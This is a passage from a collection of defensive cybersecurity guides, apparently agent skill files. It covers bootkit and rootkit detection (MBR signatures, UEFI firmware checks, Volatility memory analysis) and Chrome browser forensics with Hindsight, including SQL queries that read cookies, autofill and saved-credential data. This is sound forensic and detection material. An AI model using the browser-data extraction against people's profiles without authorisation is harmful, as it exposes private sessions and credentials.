0x55AA)\nif mbr[510:512] == b'\\x55\\xAA':\n    print(\"[*] Valid MBR signature (0x55AA)\")\nelse:\n    print(\"[!] Invalid MBR signature\")\n\n# Check for known bootkit signatures\nbootkit_sigs = {\n    b'\\xE8\\x00\\x00\\x5E\\x81\\xEE': \"TDL4/Alureon bootkit\",\n    b'\\xFA\\x33\\xC0\\x8E\\xD0\\xBC\\x00\\x7C\\x8B\\xF4\\x50\\x07': \"Standard Windows MBR (clean)\",\n    b'\\xEB\\x5A\\x90\\x4E\\x54\\x46\\x53': \"Standard NTFS VBR (clean)\",\n}\n\nfor sig, name in bootkit_sigs.items():\n    if sig in mbr:\n        print(f\"[{'!' if 'clean' not in name else '*'}] Signature match: {name}\")\n\n# Check partition table entries\nprint(\"\\nPartition Table:\")\nfor i in range(4):\n    offset = 446 + (i * 16)\n    entry = mbr[offset:offset+16]\n    if entry != b'\\x00' * 16:\n        boot_flag = \"Active\" if entry[0] == 0x80 else \"Inactive\"\n        part_type = entry[4]\n        start_lba = int.from_bytes(entry[8:12], 'little')\n        size_lba = int.from_bytes(entry[12:16], 'little')\n        print(f\"  Partition {i+1}: Type=0x{part_type:02X} {boot_flag} Start=LBA {start_lba} Size={size_lba} sectors\")\nPYEOF\n```\n\n### Step 3: Analyze UEFI Firmware for Implants\n\nInspect UEFI firmware volumes for unauthorized modules:\n\n```bash\n# Extract UEFI firmware components with UEFITool\n# GUI: Open firmware.rom -> Inspect firmware volumes\n# CLI:\nUEFIExtract firmware.rom all\n\n# List all DXE drivers (most common target for UEFI implants)\nfind firmware.rom.dump -name \"*.efi\" -exec file {} \\;\n\n# Compare against known-good firmware module list\n# Each UEFI module has a GUID - compare against vendor baseline\n\n# Verify Secure Boot configuration\npython chipsec_main.py -m common.secureboot.variables\n\n# Check SPI flash write protection\npython chipsec_main.py -m common.bios_wp\n\n# Check for known UEFI malware patterns\nyara -r uefi_malware.yar firmware.rom\n```\n\n```\nKnown UEFI Bootkit Detection Points:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nLoJax (APT28):\n  - Modified SPI flash\n  - Added DXE driver that drops agent to Windows\n  - Persists through OS reinstall and disk replacement\n\nBlackLotus:\n  - Exploits CVE-2022-21894 to bypass Secure Boot\n  - Modifies EFI System Partition bootloader\n  - Installs kernel driver during boot\n\nCosmicStrand:\n  - Modifies CORE_DXE firmware module\n  - Hooks kernel initialization during boot\n  - Drops shellcode into Windows kernel memory\n\nMoonBounce:\n  - SPI flash implant in CORE_DXE module\n  - Modified GetVariable() function\n  - Deploys user-mode implant through boot chain\n\nESPecter:\n  - Modifies Windows Boot Manager on ESP\n  - Patches winload.efi to disable DSE\n  - Loads unsigned kernel driver\n```\n\n### Step 4: Detect Kernel-Level Rootkit Behavior\n\nAnalyze the running system for rootkit artifacts:\n\n```bash\n# Memory forensics for rootkit detection\n# SSDT hook detection\nvol3 -f memory.dmp windows.ssdt | grep -v \"ntoskrnl\\|win32k\"\n\n# Hidden processes (DKOM)\nvol3 -f memory.dmp windows.psscan > psscan.txt\nvol3 -f memory.dmp windows.pslist > pslist.txt\n# Diff to find hidden processes\n\n# Kernel callback registration (rootkits register callbacks for filtering)\nvol3 -f memory.dmp windows.callbacks\n\n# Driver analysis\nvol3 -f memory.dmp windows.driverscan\nvol3 -f memory.dmp windows.modules\n\n# Check for unsigned drivers\nvol3 -f memory.dmp windows.driverscan | while read line; do\n    driver_path=$(echo \"$line\" | awk '{print $NF}')\n    if [ -f \"$driver_path\" ]; then\n        sigcheck -nobanner \"$driver_path\" 2>/dev/null | grep \"Unsigned\"\n    fi\ndone\n\n# IDT hook detection\nvol3 -f memory.dmp windows.idt\n```\n\n### Step 5: Boot Process Integrity Verification\n\nVerify the integrity of the entire boot chain:\n\n```bash\n# Verify Windows Boot Manager signature\nsigcheck -a C:\\Windows\\Boot\\EFI\\bootmgfw.efi\n\n# Verify winload.efi\nsigcheck -a C:\\Windows\\System32\\winload.efi\n\n# Verify ntoskrnl.exe\nsigcheck -a C:\\Windows\\System32\\ntoskrnl.exe\n\n# Check Measured Boot logs (if TPM is available)\n# Windows: BCDEdit /enum firmware\nbcdedit /enum firmware\n\n# Verify Secure Boot state\nConfirm-SecureBootUEFI  # PowerShell cmdlet\n\n# Check boot configuration for tampering\nbcdedit /v\n\n# Look for boot configuration changes\n# testsigning: should be No\n# nointegritychecks: should be No\n# debug: should be No\nbcdedit | findstr /i \"testsigning nointegritychecks debug\"\n```\n\n### Step 6: Document Bootkit/Rootkit Analysis\n\nCompile comprehensive analysis findings:\n\n```\nAnalysis should document:\n- Boot sector (MBR/VBR) integrity status with hex comparison\n- UEFI firmware module inventory and integrity verification\n- Secure Boot status and any bypass mechanisms detected\n- Kernel-level hooks (SSDT, IDT, IRP, inline) identified\n- Hidden processes, drivers, and files discovered\n- Persistence mechanism (SPI flash, ESP, MBR, kernel driver)\n- Boot chain integrity verification results\n- Attribution to known bootkit families if possible\n- Remediation steps (reflash firmware, rebuild MBR, replace hardware)\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Bootkit** | Malware that infects the boot process (MBR, VBR, UEFI) to execute before the operating system loads, gaining persistent low-level control |\n| **MBR (Master Boot Record)** | First 512 bytes of a disk containing bootstrap code and partition table; MBR bootkits replace this code with malicious loaders |\n| **UEFI (Unified Extensible Firmware Interface)** | Modern firmware interface replacing BIOS; UEFI bootkits implant malicious modules in firmware volumes or modify the ESP |\n| **Secure Boot** | UEFI security feature verifying digital signatures of boot components; bootkits like BlackLotus exploit vulnerabilities to bypass it |\n| **SPI Flash** | Flash memory chip storing UEFI firmware; advanced bootkits like LoJax and MoonBounce modify SPI flash for firmware-level persistence |\n| **DKOM (Direct Kernel Object Manipulation)** | Rootkit technique modifying kernel structures to hide processes, files, and network connections without hooking functions |\n| **Driver Signature Enforcement (DSE)** | Windows security feature requiring kernel drivers to be digitally signed; bootkits disable DSE during boot to load unsigned rootkit drivers |\n\n## Tools & Systems\n\n- **UEFITool**: Open-source UEFI firmware image editor and parser for inspecting firmware volumes, drivers, and modules\n- **chipsec**: Intel hardware security assessment framework for verifying SPI flash protection, Secure Boot, and UEFI configuration\n- **Volatility**: Memory forensics framework with SSDT, IDT, callback, and driver analysis plugins for kernel rootkit detection\n- **GMER**: Windows rootkit detection tool scanning for SSDT hooks, IDT hooks, hidden processes, and modified kernel modules\n- **Bootkits Analyzer**: Specialized tool for analyzing MBR/VBR code including disassembly and comparison against known-good baselines\n\n## Common Scenarios\n\n### Scenario: Investigating Persistent Compromise Surviving OS Reinstallation\n\n**Context**: An organization reimaged a compromised workstation, but the same C2 beaconing resumed within hours. Standard disk forensics finds no malware. UEFI bootkit is suspected.\n\n**Approach**:\n1. Boot from a Linux live USB to avoid executing any compromised OS components\n2. Dump the SPI flash firmware using chipsec or flashrom for offline analysis\n3. Dump the MBR and VBR sectors with dd for boot sector analysis\n4. Copy the EFI System Partition for bootloader integrity verification\n5. Open the SPI dump in UEFITool and compare module GUIDs against vendor-provided firmware\n6. Look for additional or modified DXE drivers that should not be present\n7. Analyze any suspicious modules with Ghidra (x86_64 UEFI module format)\n8. Verify Secure Boot configuration and check for exploit-based bypasses\n\n**Pitfalls**:\n- Analyzing the system while the compromised OS is running (rootkit may hide from live analysis)\n- Not checking SPI flash (only analyzing disk-based boot components misses firmware-level implants)\n- Assuming Secure Boot prevents all bootkits (known bypasses exist, e.g., CVE-2022-21894)\n- Not preserving the original firmware dump before reflashing (critical evidence for attribution)\n\n## Output Format\n\n```\nBOOTKIT / ROOTKIT ANALYSIS REPORT\n====================================\nSystem:           Dell OptiPlex 7090 (UEFI, TPM 2.0)\nFirmware Version: 1.15.0 (Dell)\nSecure Boot:      ENABLED (but bypassed)\nCapture Method:   Linux Live USB + chipsec SPI dump\n\nMBR/VBR ANALYSIS\nMBR Signature:    Valid (0x55AA)\nMBR Code:         MATCHES standard Windows 10 MBR (clean)\nVBR Code:         MATCHES standard NTFS VBR (clean)\n\nUEFI FIRMWARE ANALYSIS\nTotal Modules:    287\nVendor Expected:  285\nExtra Modules:    2 UNAUTHORIZED\n  [!] DXE Driver GUID: {ABCD1234-...} \"SmmAccessDxe_mod\" (MODIFIED)\n      Original Size: 12,288 bytes\n      Current Size:  45,056 bytes (32KB ADDED)\n      Entropy: 7.82 (HIGH - encrypted payload)\n\n  [!] DXE Driver GUID: {EFGH5678-...} \"UefiPayloadDxe\" (NEW - not in vendor firmware)\n      Size: 28,672 bytes\n      Function: Drops persistence agent during boot\n\nBOOT CHAIN INTEGRITY\nbootmgfw.efi:     MODIFIED (hash mismatch, Secure Boot bypass via CVE-2022-21894)\nwinload.efi:      MODIFIED (DSE disabled at load time)\nntoskrnl.exe:     CLEAN (but unsigned driver loaded after boot)\n\nKERNEL ROOTKIT COMPONENTS\nDriver:           C:\\Windows\\System32\\drivers\\null_mod.sys (unsigned, hidden)\nSSDT Hooks:       3 (NtQuerySystemInformation, NtQueryDirectoryFile, NtDeviceIoControlFile)\nHidden Processes: 2 (PID 6784: beacon.exe, PID 6812: keylog.exe)\nHidden Files:     C:\\Windows\\System32\\drivers\\null_mod.sys\n\nATTRIBUTION\nFamily:           BlackLotus variant\nConfidence:       HIGH (CVE-2022-21894 exploit, ESP modification pattern matches)\n\nREMEDIATION\n1. Reflash SPI firmware with clean vendor image via hardware programmer\n2. Rebuild EFI System Partition from clean Windows installation media\n3. Reinstall OS from verified media\n4. Enable all firmware write protections\n5. Update firmware to latest version (patches CVE-2022-21894)\n```\n\n<!-- File: skills/analyzing-browser-forensics-with-hindsight/assets/template.md (Tokens: ~119 | Category: anthropic-skill) -->\n# Browser Forensics Report\n## Case Info\n| Field | Value |\n|-------|-------|\n| Case Number | |\n| Browser | |\n| Profile Path | |\n## Activity Summary\n| Metric | Count |\n|--------|-------|\n| URL Visits | |\n| Downloads | |\n| Saved Passwords | |\n| Cookies | |\n## Notable URLs\n| Timestamp | URL | Title |\n|-----------|-----|-------|\n| | | |\n## Downloads\n| Timestamp | File | Source URL | Size |\n|-----------|------|-----------|------|\n| | | | |\n\n<!-- File: skills/analyzing-browser-forensics-with-hindsight/references/api-reference.md (Tokens: ~713 | Category: anthropic-skill) -->\n# API Reference: Browser Forensics with Hindsight\n\n## Hindsight CLI\n\n### Syntax\n```bash\nhindsight.py -i <profile_path>                  # Analyze Chrome profile\nhindsight.py -i <path> -o <output_dir>          # Save results\nhindsight.py -i <path> -f xlsx                  # Export as Excel\nhindsight.py -i <path> -f sqlite                # Export as SQLite\nhindsight.py -i <path> -b <browser_type>        # Specify browser type\n```\n\n### Browser Types\n| Flag | Browser |\n|------|---------|\n| `Chrome` | Google Chrome |\n| `Edge` | Microsoft Edge (Chromium) |\n| `Brave` | Brave Browser |\n| `Opera` | Opera (Chromium) |\n\n### Output Artifacts\n| Table | Description |\n|-------|-------------|\n| `urls` | Browsing history with visit counts |\n| `downloads` | File downloads with source URLs |\n| `cookies` | Cookie values, domains, expiry |\n| `autofill` | Form autofill entries |\n| `bookmarks` | Saved bookmarks |\n| `preferences` | Browser configuration |\n| `local_storage` | Site local storage data |\n| `login_data` | Saved credential metadata |\n| `extensions` | Installed extensions with permissions |\n\n## Chrome SQLite Databases\n\n### History Database\n```sql\n-- Browsing history\nSELECT u.url, u.title, v.visit_time, v.transition\nFROM visits v JOIN urls u ON v.url = u.id\nORDER BY v.visit_time DESC;\n\n-- Downloads\nSELECT target_path, tab_url, total_bytes, start_time, danger_type, mime_type\nFROM downloads ORDER BY start_time DESC;\n```\n\n### Cookies Database\n```sql\nSELECT host_key, name, value, creation_utc, expires_utc, is_secure, is_httponly\nFROM cookies ORDER BY creation_utc DESC;\n```\n\n### Web Data Database (Autofill)\n```sql\nSELECT name, value, count, date_created, date_last_used\nFROM autofill ORDER BY date_last_used DESC;\n```\n\n## Chrome Timestamp Conversion\n\n### Format\nMicroseconds since January 1, 1601 (Windows FILETIME base)\n\n### Python Conversion\n```python\nimport datetime\ndef chrome_to_datetime(chrome_time):\n    epoch = datetime.datetime(1601, 1, 1)\n    return epoch + datetime.timedelta(microseconds=chrome_time)\n```\n\n## Browser Profile Paths\n\n| OS | Browser | Default Path |\n|----|---------|-------------|\n| Windows | Chrome | `%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default` |\n| Windows | Edge | `%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default` |\n| Linux | Chrome | `~/.config/google-chrome/Default` |\n| macOS | Chrome | `~/Library/Application Support/Google/Chrome/Default` |\n\n## Transition Types (visit_transition & 0xFF)\n| Value | Type | Description |\n|-------|------|-------------|\n| 0 | LINK | Clicked a link |\n| 1 | TYPED | Typed URL in address bar |\n| 2 | AUTO_BOOKMARK | Via bookmark |\n| 3 | AUTO_SUBFRAME | Subframe navigation |\n| 5 | GENERATED | Generated (e.g., search) |\n| 7 | FORM_SUBMIT | Form submission |\n| 8 | RELOAD | Page reload |\n\n<!-- File: skills/analyzing-browser-forensics-with-hindsight/references/standards.md (Tokens: ~150 | Category: anthropic-skill) -->\n# Standards - Browser Forensics with Hindsight\n## Tools\n- Hindsight: https://github.com/obsidianforensics/hindsight\n- DB Browser for SQLite: Chrome database inspection\n- ChromeCacheView (NirSoft): Cache analysis\n## Browser Databases\n- History: URL visits, downloads, keyword searches\n- Cookies: HTTP cookies per domain\n- Web Data: Autofill, credit cards\n- Login Data: Saved credentials (encrypted)\n- Bookmarks: JSON bookmark tree\n## Timestamp Formats\n- Chrome/WebKit: microseconds since 1601-01-01 UTC\n- Firefox/Mozilla: microseconds since Unix epoch\n- Safari/Mac: seconds since 2001-01-01 UTC\n\n<!-- File: skills/analyzing-browser-forensics-with-hindsight/references/workflows.md (Tokens: ~99 | Category: anthropic-skill) -->\n# Workflows - Browser Forensics\n## Workflow: Chrome Profile Analysis\n```\nLocate browser profile directory\n    |\nRun Hindsight against profile path\n    |\nReview generated timeline (XLSX/JSON)\n    |\nAnalyze URL history for suspicious sites\n    |\nCheck downloads for malware/exfiltrated data\n    |\nReview cookies for session hijacking evidence\n    |\nExamine autofill and saved credentials\n    |\nCorrelate browser activity with system timeline\n```\n\n<!-- File: skills/analyzing-browser-forensics-with-hindsight/SKILL.md (Tokens: ~2826 | Category: anthropic-skill) -->\n---\nname: analyzing-browser-forensics-with-hindsight\ndescription: Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.\ndomain: cybersecurity\nsubdomain: digital-forensics\ntags:\n- browser-forensics\n- hindsight\n- chrome-forensics\n- chromium\n- edge\n- browsing-history\n- cookies\n- downloads\n- cache\n- web-artifacts\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- RS.AN-03\n- DE.AE-02\n- RS.MA-01\nmitre_attack:\n- T1217\n- T1539\n- T1555.003\n- T1185\n---\n\n# Analyzing Browser Forensics with Hindsight\n\n## Overview\n\nHindsight is an open-source browser forensics tool designed to parse artifacts from Google Chrome and other Chromium-based browsers (Microsoft Edge, Brave, Opera, Vivaldi). It extracts and correlates data from multiple browser database files to create a unified timeline of web activity. Hindsight can parse URLs, download history, cache records, bookmarks, autofill records, saved passwords, preferences, browser extensions, HTTP cookies, Local Storage (HTML5 cookies), login data, and session/tab information. The tool produces chronological timelines in multiple output formats (XLSX, JSON, SQLite) that enable investigators to reconstruct user web activity for incident response, insider threat investigations, and criminal cases.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing browser forensics with hindsight\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.8+ with Hindsight installed (`pip install pyhindsight`)\n- Access to browser profile directories from forensic image\n- Browser profile data (not encrypted with OS-level encryption)\n- Timeline Explorer or spreadsheet application for analysis\n\n## Browser Profile Locations\n\n| Browser | Windows Profile Path |\n|---------|---------------------|\n| Chrome | %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\ |\n| Edge | %LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\ |\n| Brave | %LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\ |\n| Opera | %APPDATA%\\Opera Software\\Opera Stable\\ |\n| Vivaldi | %LOCALAPPDATA%\\Vivaldi\\User Data\\Default\\ |\n| Chrome (macOS) | ~/Library/Application Support/Google/Chrome/Default/ |\n| Chrome (Linux) | ~/.config/google-chrome/Default/ |\n\n## Key Artifact Files\n\n| File | Contents |\n|------|----------|\n| History | URL visits, downloads, keyword searches |\n| Cookies | HTTP cookies with domain, expiry, values |\n| Web Data | Autofill entries, saved credit cards |\n| Login Data | Saved usernames/passwords (encrypted) |\n| Bookmarks | JSON bookmark tree |\n| Preferences | Browser configuration and extensions |\n| Local Storage/ | HTML5 Local Storage per domain |\n| Session Storage/ | Session-specific storage per domain |\n| Network Action Predictor | Previously typed URLs |\n| Shortcuts | Omnibox shortcuts and predictions |\n| Top Sites | Frequently visited sites |\n\n## Running Hindsight\n\n### Command Line\n\n```bash\n# Basic analysis of a Chrome profile\nhindsight.exe -i \"C:\\Evidence\\Users\\suspect\\AppData\\Local\\Google\\Chrome\\User Data\\Default\" -o C:\\Output\\chrome_analysis\n\n# Specify browser type\nhindsight.exe -i \"/path/to/profile\" -o /output/analysis -b Chrome\n\n# JSON output format\nhindsight.exe -i \"C:\\Evidence\\Chrome\\Default\" -o C:\\Output\\chrome --format jsonl\n\n# With cache parsing (slower but more complete)\nhindsight.exe -i \"C:\\Evidence\\Chrome\\Default\" -o C:\\Output\\chrome --cache\n```\n\n### Web UI\n\n```bash\n# Start Hindsight web interface\nhindsight_gui.exe\n# Navigate to http://localhost:8080\n# Upload or point to browser profile directory\n# Configure output format and analysis options\n# Generate and download report\n```\n\n## Artifact Analysis Details\n\n### URL History and Visits\n\n```sql\n-- Chrome History database schema (key tables)\n-- urls table: id, url, title, visit_count, typed_count, last_visit_time\n-- visits table: id, url, visit_time, from_visit, transition, segment_id\n\n-- Timestamps are Chrome/WebKit format: microseconds since 1601-01-01\n-- Convert: datetime((visit_time/1000000)-11644473600, 'unixepoch')\n```\n\n### Download History\n\n```sql\n-- downloads table: id, current_path, target_path, start_time, end_time,\n--   received_bytes, total_bytes, state, danger_type, interrupt_reason,\n--   url, referrer, tab_url, mime_type, original_mime_type\n```\n\n### Cookie Analysis\n\n```sql\n-- cookies table: creation_utc, host_key, name, value, encrypted_value,\n--   path, expires_utc, is_secure, is_httponly, last_access_utc,\n--   has_expires, is_persistent, priority, samesite\n```\n\n## Python Analysis Script\n\n```python\nimport sqlite3\nimport os\nimport json\nimport sys\nfrom datetime import datetime, timedelta\n\n\nCHROME_EPOCH = datetime(1601, 1, 1)\n\n\ndef chrome_time_to_datetime(chrome_ts: int):\n    \"\"\"Convert Chrome timestamp to datetime.\"\"\"\n    if chrome_ts == 0:\n        return None\n    try:\n        return CHROME_EPOCH + timedelta(microseconds=chrome_ts)\n    except (OverflowError, OSError):\n        return None\n\n\ndef analyze_chrome_history(profile_path: str, output_dir: str) -> dict:\n    \"\"\"Analyze Chrome History database for forensic evidence.\"\"\"\n    history_db = os.path.join(profile_path, \"History\")\n    if not os.path.exists(history_db):\n        return {\"error\": \"History database not found\"}\n\n    os.makedirs(output_dir, exist_ok=True)\n    conn = sqlite3.connect(f\"file:{history_db}?mode=ro\", uri=True)\n\n    # URL visits with timestamps\n    cursor = conn.cursor()\n    cursor.execute(\"\"\"\n        SELECT u.url, u.title, v.visit_time, u.visit_count,\n               v.transition & 0xFF as transition_type\n        FROM visits v JOIN urls u ON v.url = u.id\n        ORDER BY v.visit_time DESC LIMIT 5000\n    \"\"\")\n    visits = [{\n        \"url\": r[0], \"title\": r[1],\n        \"visit_time\": str(chrome_time_to_datetime(r[2])),\n        \"total_visits\": r[3], \"transition\": r[4]\n    } for r in cursor.fetchall()]\n\n    # Downloads\n    cursor.execute(\"\"\"\n        SELECT target_path, tab_url, start_time, end_time,\n               received_bytes, total_bytes, mime_type, state\n        FROM downloads ORDER BY start_time DESC LIMIT 1000\n    \"\"\")\n    downloads = [{\n        \"path\": r[0], \"source_url\": r[1],\n        \"start_time\": str(chrome_time_to_datetime(r[2])),\n        \"end_time\": str(chrome_time_to_datetime(r[3])),\n        \"received_bytes\": r[4], \"total_bytes\": r[5],\n        \"mime_type\": r[6], \"state\": r[7]\n    } for r in cursor.fetchall()]\n\n    # Keyword searches\n    cursor.execute(\"\"\"\n        SELECT k.term, u.url, k.url_id\n        FROM keyword_search_terms k JOIN urls u ON k.url_id = u.id\n        ORDER BY u.last_visit_time DESC LIMIT 1000\n    \"\"\")\n    searches = [{\"term\": r[0], \"url\": r[1]} for r in cursor.fetchall()]\n\n    conn.close()\n\n    report = {\n        \"analysis_timestamp\": datetime.now().isoformat(),\n        \"profile_path\": profile_path,\n        \"total_visits\": len(visits),\n        \"total_downloads\": len(downloads),\n        \"total_searches\": len(searches),\n        \"visits\": visits,\n        \"downloads\": downloads,\n        \"searches\": searches\n    }\n\n    report_path = os.path.join(output_dir, \"browser_forensics.json\")\n    with open(report_path, \"w\") as f:\n        json.dump(report, f, indent=2)\n\n    return report\n\n\ndef main():\n    if len(sys.argv) < 3:\n        print(\"Usage: python process.py <chrome_profile_path> <output_dir>\")\n        sys.exit(1)\n    analyze_chrome_history(sys.argv[1], sys.argv[2])\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- Hindsight GitHub: https://github.com/obsidianforensics/hindsight\n- Chrome Forensics Guide: https://allenace.medium.com/hindsight-chrome-forensics-made-simple-425db99fa5ed\n- Browser Forensics Tools: https://www.cyberforensicacademy.com/blog/browser-forensics-tools-how-to-extract-user-activity\n- Chromium Source (History): https://source.chromium.org/chromium/chromium/src/+/main:components/history/\n\n## Example Output\n\n```text\n$ python hindsight.py -i /evidence/chrome-profile -o /analysis/hindsight_output\n\nHindsight v2024.01 - Chrome/Chromium Browser Forensic Analysis\n================================================================\n\nProfile: /evidence/chrome-profile (Chrome 120.0.6099.130)\nOS: Windows 10\n\n[+] Parsing History database...\n    URL records:          12,456\n    Download records:     234\n    Search terms:         567\n\n[+] Parsing Cookies database...\n    Cookie records:       8,923\n    Encrypted cookies:    6,712\n\n[+] Parsing Web Data (Autofill)...\n    Autofill entries:     1,234\n    Credit card entries:  2 (encrypted)\n\n[+] Parsing Login Data...\n    Saved credentials:    45 (encrypted)\n\n[+] Parsing Bookmarks...\n    Bookmark entries:     189\n\n--- Browsing History (Last 10 Entries) ---\nTimestamp (UTC)          | URL                                          | Title                        | Visit Count\n2024-01-15 14:32:05.123  | https://mail.corporate.com/inbox             | Corporate Mail                | 45\n2024-01-15 14:33:12.456  | https://drive.google.com/file/d/1aBcDe...    | Q4_Financial_Report.xlsx     | 1\n2024-01-15 14:35:44.789  | https://mega.nz/folder/xYz123               | MEGA - Secure Cloud          | 3\n2024-01-15 14:36:01.234  | https://mega.nz/folder/xYz123#upload        | MEGA - Upload                | 8\n2024-01-15 14:42:15.567  | https://pastebin.com/raw/kL9mN2pQ           | Pastebin (raw)               | 1\n2024-01-15 15:01:33.890  | https://192.168.1.50:8443/admin              | Admin Panel                  | 12\n2024-01-15 15:15:22.111  | https://transfer.sh/upload                  | transfer.sh                  | 2\n2024-01-15 15:30:45.222  | https://vpn-gateway.corporate.com            | VPN Login                    | 5\n2024-01-15 16:00:00.333  | https://whatismyipaddress.com                 | What Is My IP                | 1\n2024-01-15 16:05:12.444  | https://protonmail.com/inbox                 | ProtonMail                   | 3\n\n--- Downloads (Suspicious) ---\nTimestamp (UTC)          | Filename                    | URL Source                               | Size\n2024-01-15 14:33:15.000  | Q4_Financial_Report.xlsm   | https://phish-domain.com/docs/report     | 245 KB\n2024-01-15 14:34:02.000  | update_client.exe          | https://cdn.evil-updates.com/client.exe  | 1.2 MB\n\n--- Cookies (Session Tokens) ---\nDomain                   | Name              | Expires            | Secure | HttpOnly\n.corporate.com           | SESSION_ID        | 2024-01-16 14:32   | Yes    | Yes\n.mega.nz                 | session           | Session            | Yes    | Yes\n.protonmail.com          | AUTH-TOKEN        | 2024-02-15 00:00   | Yes    | Yes\n\nReport saved to: /analysis/hindsight_output/Hindsight_Report.xlsx\n```\n\n<!-- ... +2543 more modular skills available via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path={path} -->\n</yakaai_skills>"}